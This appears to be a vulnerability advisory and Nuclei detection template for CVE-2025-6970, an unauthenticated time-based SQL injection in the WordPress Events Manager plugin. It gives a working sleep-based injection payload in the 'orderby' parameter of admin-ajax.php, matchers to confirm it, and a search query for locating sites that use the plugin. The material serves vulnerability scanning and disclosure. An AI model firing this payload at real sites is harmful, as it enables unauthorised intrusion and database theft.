The Events Manager - Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
PoC
id: CVE-2025-6970
info:
name: WordPress Events Manager <= 7.0.3 - SQL Injection
author: iamnoooob,pdresearch
severity: critical
description: |
The Events Manager - Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
impact: |
An attacker can exploit this vulnerability to perform time-based SQL injection attacks, potentially extracting sensitive information from the database including user credentials, personal information, and other confidential data.
remediation: |
Update the Events Manager plugin to version 6.6.5 or 7.0.4 or later which fixes this vulnerability. If immediate update is not possible, consider temporarily disabling the plugin until the fix can be applied.
reference:
- https://wpscan.com/vulnerability/CVE-2025-6970
- https://patchstack.com/database/vulnerability/events-manager/wordpress-events-manager-calendar-bookings-tickets-and-more-plugin-7-0-3-unauthenticated-sql-injection-via-orderby-parameter
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/events-manager/events-manager-703-unauthenticated-sql-injection-via-orderby-parameter
- https://nvd.nist.gov/vuln/detail/CVE-2025-6970
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-6970
cwe-id: CWE-89
epss-score: 0.65323
epss-percentile: 0.99218
cpe: cpe:2.3:a:wp-events-plugin:events_manager:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: wp-events-plugin
product: events_manager
publicwww-query: "/wp-content/plugins/events-manager/"
tags: cve,cve2025,events-manager,sqli,time-based,wordpress,wpscan,wp-plugin,wp,vuln
http:
- raw:
- |
@timeout: 30s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=search_events&orderby=1*(select(sleep(8)))
matchers:
- type: dsl
dsl:
- "duration>=8"
- "status_code == 200"
- "contains_all(body, 'em-item-info', 'em-item-title', 'em-item-desc')"
condition: and
# digest: 4a0a00473045022050824b958f0451545fad80761444ae129d11e9720cfea55f2a4fbab68c4a69ab022100f805f7a1f50ced84b386bbdb491bb55d48324e069c2678687dec33115a2a905b:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.